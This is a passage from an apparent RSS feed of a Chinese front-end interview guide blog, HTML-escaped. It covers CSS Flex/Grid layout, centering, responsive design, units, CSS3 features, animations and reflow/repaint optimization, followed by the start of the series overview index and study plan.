  align-items: stretch | flex-start | center | flex-end | baseline;
  
  /* 多行对齐 */
  align-content: stretch | flex-start | center | ...;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;项目属性：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.item {
  /* 放大比例，默认 0 */
  flex-grow: 1;
  
  /* 缩小比例，默认 1 */
  flex-shrink: 0;
  
  /* 基准大小 */
  flex-basis: 200px;
  
  /* 简写 */
  flex: 1;           /* flex: 1 1 0% */
  flex: auto;        /* flex: 1 1 auto */
  flex: none;        /* flex: 0 0 auto */
  
  /* 单独对齐 */
  align-self: center;
  
  /* 排序 */
  order: -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;经典布局：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 水平垂直居中 */
.center {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* 两栏布局 */
.layout {
  display: flex;
}
.sidebar { flex: 0 0 200px; }
.main { flex: 1; }

/* 三栏布局（圣杯） */
.layout { display: flex; }
.left { flex: 0 0 200px; }
.center { flex: 1; }
.right { flex: 0 0 150px; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q11: Grid 布局怎么用？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.container {
  display: grid;
  
  /* 定义列 */
  grid-template-columns: 200px 1fr 1fr;
  grid-template-columns: repeat(3, 1fr);
  grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
  
  /* 定义行 */
  grid-template-rows: 100px auto;
  
  /* 间距 */
  gap: 20px;           /* 行列间距 */
  row-gap: 10px;
  column-gap: 20px;
  
  /* 区域划分 */
  grid-template-areas: 
    &quot;header header header&quot;
    &quot;sidebar main main&quot;
    &quot;footer footer footer&quot;;
}

.item {
  /* 跨列 */
  grid-column: 1 / 3;      /* 从第1条线到第3条线 */
  grid-column: span 2;     /* 跨2列 */
  
  /* 跨行 */
  grid-row: 1 / 3;
  
  /* 区域 */
  grid-area: header;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Grid vs Flex：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Flex&lt;/th&gt;
&lt;th&gt;Grid&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;维度&lt;/td&gt;
&lt;td&gt;一维&lt;/td&gt;
&lt;td&gt;二维&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;适用&lt;/td&gt;
&lt;td&gt;行或列布局&lt;/td&gt;
&lt;td&gt;复杂网格布局&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;对齐&lt;/td&gt;
&lt;td&gt;内容驱动&lt;/td&gt;
&lt;td&gt;容器驱动&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Q12: 实现水平垂直居中的方式？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 1. Flex（推荐） */
.parent {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* 2. Grid */
.parent {
  display: grid;
  place-items: center;
}

/* 3. 定位 + transform */
.parent { position: relative; }
.child {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}

/* 4. 定位 + margin auto */
.parent { position: relative; }
.child {
  position: absolute;
  top: 0; right: 0; bottom: 0; left: 0;
  margin: auto;
  width: 200px;
  height: 100px;
}

/* 5. 行内元素 */
.parent {
  text-align: center;
  line-height: 100px; /* 等于容器高度 */
}

/* 6. table-cell */
.parent {
  display: table-cell;
  vertical-align: middle;
  text-align: center;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;响应式设计&lt;/h2&gt;
&lt;h3&gt;Q13: 如何实现响应式设计？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 媒体查询&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 移动优先 */
.container { width: 100%; }

@media (min-width: 768px) {
  .container { width: 750px; }
}

@media (min-width: 992px) {
  .container { width: 970px; }
}

@media (min-width: 1200px) {
  .container { width: 1170px; }
}

/* 常用断点 */
/* xs: &amp;lt;576px  sm: ≥576px  md: ≥768px  lg: ≥992px  xl: ≥1200px */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 弹性布局&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 百分比 */
.col { width: 50%; }

/* flex */
.row { display: flex; flex-wrap: wrap; }
.col { flex: 1; min-width: 200px; }

/* grid 自动适应 */
.grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. 视口单位&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* vw/vh */
.hero { height: 100vh; }
.title { font-size: 5vw; }

/* clamp() 响应式字体 */
h1 { font-size: clamp(1.5rem, 4vw, 3rem); }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. 响应式图片&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- srcset --&amp;gt;
&amp;lt;img 
  srcset=&quot;small.jpg 480w, medium.jpg 800w, large.jpg 1200w&quot;
  sizes=&quot;(max-width: 600px) 480px, 800px&quot;
  src=&quot;medium.jpg&quot; 
  alt=&quot;responsive&quot;
&amp;gt;

&amp;lt;!-- picture --&amp;gt;
&amp;lt;picture&amp;gt;
  &amp;lt;source media=&quot;(min-width: 800px)&quot; srcset=&quot;large.jpg&quot;&amp;gt;
  &amp;lt;source media=&quot;(min-width: 400px)&quot; srcset=&quot;medium.jpg&quot;&amp;gt;
  &amp;lt;img src=&quot;small.jpg&quot; alt=&quot;responsive&quot;&amp;gt;
&amp;lt;/picture&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q14: rem、em、px、vw/vh 的区别？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;单位&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;px&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;固定像素&lt;/td&gt;
&lt;td&gt;&lt;code&gt;width: 100px&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;em&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;相对于&lt;strong&gt;当前元素&lt;/strong&gt;字体大小&lt;/td&gt;
&lt;td&gt;父元素 16px，1em = 16px&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;rem&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;相对于&lt;strong&gt;根元素&lt;/strong&gt;字体大小&lt;/td&gt;
&lt;td&gt;html 16px，1rem = 16px&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vw&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;视口宽度的 1%&lt;/td&gt;
&lt;td&gt;100vw = 视口宽度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;视口高度的 1%&lt;/td&gt;
&lt;td&gt;100vh = 视口高度&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;/* rem 适配方案 */
html {
  font-size: 16px; /* 默认 */
}

@media (max-width: 768px) {
  html { font-size: 14px; }
}

.title { font-size: 1.5rem; } /* 24px 或 21px */

/* flexible.js 动态设置 */
document.documentElement.style.fontSize = 
  document.documentElement.clientWidth / 10 + &apos;px&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;CSS 进阶&lt;/h2&gt;
&lt;h3&gt;Q15: CSS3 有哪些新特性？⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 1. 圆角 */
border-radius: 10px;
border-radius: 50%; /* 圆形 */

/* 2. 阴影 */
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
text-shadow: 2px 2px 4px #ccc;

/* 3. 渐变 */
background: linear-gradient(to right, #ff6b6b, #4ecdc4);
background: radial-gradient(circle, #fff, #000);

/* 4. 变换 */
transform: translate(50px, 50px);
transform: rotate(45deg);
transform: scale(1.5);
transform: skew(10deg, 10deg);

/* 5. 过渡 */
transition: all 0.3s ease-in-out;
transition: width 0.3s, height 0.3s;

/* 6. 动画 */
@keyframes slide {
  from { transform: translateX(0); }
  to { transform: translateX(100px); }
}
animation: slide 2s infinite alternate;

/* 7. 弹性布局 */
display: flex;
display: grid;

/* 8. 滤镜 */
filter: blur(5px);
filter: grayscale(100%);

/* 9. 多列布局 */
columns: 3;
column-gap: 20px;

/* 10. 变量 */
:root { --primary: #3498db; }
.btn { color: var(--primary); }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q16: transition 和 animation 的区别？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;transition&lt;/th&gt;
&lt;th&gt;animation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;触发方式&lt;/td&gt;
&lt;td&gt;需要事件触发&lt;/td&gt;
&lt;td&gt;自动播放&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;关键帧&lt;/td&gt;
&lt;td&gt;只有开始和结束&lt;/td&gt;
&lt;td&gt;可定义多个关键帧&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;循环&lt;/td&gt;
&lt;td&gt;不支持&lt;/td&gt;
&lt;td&gt;支持 &lt;code&gt;infinite&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;控制&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;td&gt;丰富（暂停、延迟、方向）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;/* transition：需要状态变化触发 */
.btn {
  background: blue;
  transition: background 0.3s ease;
}
.btn:hover {
  background: red;
}

/* animation：自动播放 */
.loading {
  animation: spin 1s linear infinite;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

/* animation 属性 */
animation: name duration timing-function delay iteration-count direction fill-mode;
animation: slide 2s ease-in-out 0.5s infinite alternate forwards;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q17: 什么是重绘和回流？如何优化？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;触发条件&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;回流 (Reflow)&lt;/td&gt;
&lt;td&gt;重新计算元素位置和大小&lt;/td&gt;
&lt;td&gt;修改尺寸、位置、内容&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重绘 (Repaint)&lt;/td&gt;
&lt;td&gt;重新绘制元素外观&lt;/td&gt;
&lt;td&gt;修改颜色、背景、阴影&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;回流一定导致重绘，重绘不一定导致回流。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 触发多次回流
element.style.width = &apos;100px&apos;;  // 回流
element.style.height = &apos;100px&apos;; // 回流
element.style.margin = &apos;10px&apos;;  // 回流

// ✅ 批量修改
element.style.cssText = &apos;width: 100px; height: 100px; margin: 10px;&apos;;
// 或
element.className = &apos;new-class&apos;;

// ❌ 读取布局信息会强制回流
const width = element.offsetWidth; // 可能触发回流
element.style.width = width + 10 + &apos;px&apos;;

// ✅ 使用 DocumentFragment
const fragment = document.createDocumentFragment();
for (let i = 0; i &amp;lt; 100; i++) {
  const div = document.createElement(&apos;div&apos;);
  fragment.appendChild(div);
}
document.body.appendChild(fragment); // 一次回流

// ✅ 离线修改
element.style.display = &apos;none&apos;;
// ... 多次修改
element.style.display = &apos;block&apos;;

// ✅ 使用 transform 代替 top/left
// 触发合成层，不回流
element.style.transform = &apos;translateX(100px)&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;优化总结：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;批量修改样式&lt;/li&gt;
&lt;li&gt;避免频繁读取布局属性&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;transform&lt;/code&gt; 和 &lt;code&gt;opacity&lt;/code&gt; 做动画&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;will-change&lt;/code&gt; 提升为合成层&lt;/li&gt;
&lt;li&gt;DOM 操作使用 &lt;code&gt;DocumentFragment&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;复杂动画使用 &lt;code&gt;position: absolute&lt;/code&gt; 脱离文档流&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键词&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;盒模型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;content-box&lt;/code&gt; vs &lt;code&gt;border-box&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BFC&lt;/td&gt;
&lt;td&gt;独立渲染区域，清除浮动，避免 margin 合并&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;选择器优先级&lt;/td&gt;
&lt;td&gt;&lt;code&gt;!important&lt;/code&gt; &amp;gt; 内联 &amp;gt; ID &amp;gt; 类 &amp;gt; 标签&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flex 布局&lt;/td&gt;
&lt;td&gt;&lt;code&gt;justify-content&lt;/code&gt; &lt;code&gt;align-items&lt;/code&gt; &lt;code&gt;flex: 1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grid 布局&lt;/td&gt;
&lt;td&gt;二维布局，&lt;code&gt;grid-template-columns&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;居中方案&lt;/td&gt;
&lt;td&gt;Flex &lt;code&gt;place-items: center&lt;/code&gt; 最简洁&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;响应式&lt;/td&gt;
&lt;td&gt;媒体查询 + 弹性布局 + 视口单位&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;重绘回流&lt;/td&gt;
&lt;td&gt;&lt;code&gt;transform&lt;/code&gt; 动画不回流，批量修改&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-02-javascript-core/&quot;&gt;JavaScript 核心面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖原型链、闭包、this 指向、作用域、ES6+ 等核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>前端面试宝典总览：6 年中高级工程师面试知识地图</title><link>http://117.72.32.87/blog/posts/interview-guide-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-00-overview/</guid><description>一份针对 6 年左右中高级前端开发工程师的面试知识库总览，覆盖 HTML/CSS/JS、Vue/React、跨端开发、工程化、Nginx、MySQL 及后端知识。</description><pubDate>Tue, 15 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列专为 &lt;strong&gt;6 年左右中高级前端开发工程师&lt;/strong&gt; 打造，覆盖面试高频知识点，每篇 20+ 道面试题配详细解析。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;面试知识地图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;前端面试知识体系
├── 基础三剑客
│   ├── HTML &amp;amp; CSS（布局、选择器、响应式、动画）
│   ├── JavaScript 核心（原型链、闭包、this、ES6+）
│   └── JS 异步编程（事件循环、Promise、async/await）
├── 框架与跨端
│   ├── Vue（响应式原理、生命周期、组件通信、Vuex/Pinia）
│   ├── React（Fiber、Hooks、虚拟DOM、状态管理）
│   └── 跨端开发（uniapp、React Native、原理与差异）
├── 工程化与网络
│   ├── 构建工具（Webpack、Vite、Tree Shaking、HMR）
│   ├── 网络与 HTTP（TCP/IP、HTTP/2、缓存、跨域、安全）
│   ├── 工程化实践（Monorepo、微前端、组件库、CI/CD）
│   └── 实时通信（WebSocket、SSE、WebRTC、协同编辑）
├── 后端知识
│   ├── Nginx（反向代理、负载均衡、配置优化）
│   ├── MySQL（索引、事务、SQL 优化、锁机制）
│   ├── 后端基础（RESTful、Node.js、Java 基础）
│   └── Node.js 专篇（事件循环、Stream、进程线程、框架、部署）
├── 进阶必修
│   ├── TypeScript（泛型、条件类型、infer、类型体操）
│   ├── 性能优化（LCP/INP/CLS、白屏、内存泄漏）
│   ├── 手写代码（防抖节流、深拷贝、Promise、并发控制）
│   └── 系统设计（大文件上传、权限、监控、低代码）
├── 综合面试
│   └── 软素质与 HR 面（项目介绍、STAR、职业规划、薪资）
└── 深水区实战（资深扩展）
    ├── 核心能力问答（双栈选型、图形渲染、Hybrid、AI 研发 24 问）
    └── 深水区实战（配置驱动、2D×3D、硬件链路、离线包、AI 协作流）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;文章索引&lt;/h2&gt;
&lt;h3&gt;基础三剑客&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-01-html-css/&quot;&gt;HTML &amp;amp; CSS 面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;语义化、盒模型、BFC、Flex/Grid、响应式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-02-javascript-core/&quot;&gt;JavaScript 核心面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;原型链、闭包、this、作用域、ES6+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;03&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-03-javascript-async/&quot;&gt;JS 异步与事件循环&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Event Loop、Promise、async/await、宏微任务&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;框架与跨端&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;04&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-04-vue/&quot;&gt;Vue 框架面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;响应式原理、虚拟DOM、Diff算法、生命周期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-05-react/&quot;&gt;React 框架面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Fiber、Hooks、JSX、状态管理、性能优化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-06-cross-platform/&quot;&gt;跨端框架面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;uniapp、RN、Flutter、跨端原理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;工程化与网络&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;07&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-07-build-tools/&quot;&gt;前端构建工具面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Webpack、Vite、Babel、Tree Shaking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;08&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-08-network-http/&quot;&gt;网络与 HTTP 面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;TCP/IP、HTTP/2、HTTPS、缓存、跨域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-15-engineering-practice/&quot;&gt;前端工程化实践&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Monorepo、微前端、组件库、npm 发包、CI/CD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-16-realtime/&quot;&gt;实时通信面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;WebSocket、SSE、WebRTC、协同编辑、弹幕&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;后端知识&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;09&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-09-nginx/&quot;&gt;Nginx 面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;反向代理、负载均衡、配置优化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-10-mysql/&quot;&gt;MySQL 面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;索引、事务、SQL优化、锁机制&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-11-backend/&quot;&gt;后端知识面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;RESTful、Node.js、Java基础、微服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-19-nodejs/&quot;&gt;Node.js 面试题专篇&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;事件循环、Stream、进程线程、Express/Koa/NestJS、部署&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;进阶必修&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-12-typescript/&quot;&gt;TypeScript 进阶面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;泛型、条件类型、infer、映射类型、协变逆变&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-13-performance/&quot;&gt;性能优化面试题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;LCP/INP/CLS、白屏优化、虚拟列表、内存泄漏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-14-handwritten-code/&quot;&gt;手写代码题专篇&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;防抖节流、深拷贝、Promise.all、并发控制、发布订阅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-17-system-design/&quot;&gt;前端系统设计场景题&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;大文件上传、权限系统、监控、低代码、JSBridge&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;综合面试&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-18-soft-skills/&quot;&gt;软素质与 HR 面&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;自我介绍、STAR、离职原因、职业规划、薪资谈判&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;深水区实战（资深扩展）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;序号&lt;/th&gt;
&lt;th&gt;文章&lt;/th&gt;
&lt;th&gt;核心考点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-20-frontend-core-qa/&quot;&gt;资深前端核心能力问答&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;双栈选型、Next.js SSR、Konva/Three.js、Hybrid N-API、工程化性能、AI 研发 24 问&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/interview-guide-21-frontend-deep-practice/&quot;&gt;前端深水区实战&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;配置驱动渲染、2D×3D 协同、Hybrid 硬件链路、离线包热更新、AI 协作流&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;面试准备策略&lt;/h2&gt;
&lt;h3&gt;时间分配建议&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;时间&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;基础复习&lt;/td&gt;
&lt;td&gt;1-2 周&lt;/td&gt;
&lt;td&gt;HTML/CSS/JS 核心知识&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;框架深入&lt;/td&gt;
&lt;td&gt;1-2 周&lt;/td&gt;
&lt;td&gt;Vue 或 React 原理（根据岗位选择）&lt;/td&gt;
&lt;/tr&gt;
